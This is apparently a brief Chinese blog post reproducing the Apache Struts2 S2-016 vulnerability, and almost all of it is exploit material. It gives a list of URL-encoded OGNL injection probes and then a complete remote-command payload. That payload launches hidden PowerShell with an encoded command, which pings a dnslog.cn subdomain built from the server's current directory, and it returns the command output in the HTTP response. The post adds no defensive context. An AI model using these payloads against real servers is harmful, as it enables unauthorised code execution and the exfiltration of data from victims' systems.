S2-016复现

测试POC字典:

redirect:%25{3*4}
redirect%3A%24%7B3%2A4%7D
action%3A%24%7B3%2A4%7D

执行命令:

# 进行url编码
redirect:${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"powershell.exe","-NonI","-W","Hidden","-NoP","-Exec","Bypass","-Enc","cABpAG4AZwAgAC0AbgAgADEAIAAlAEMARAAlAC4AMgBhAG8AOQBlAHMALgBkAG4AcwBsAG8AZwAuAGMAbgA="}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

S2-016复现

上一篇:网际协议:数据报格式和分片以及IPv4编址


下一篇:Linux 初始化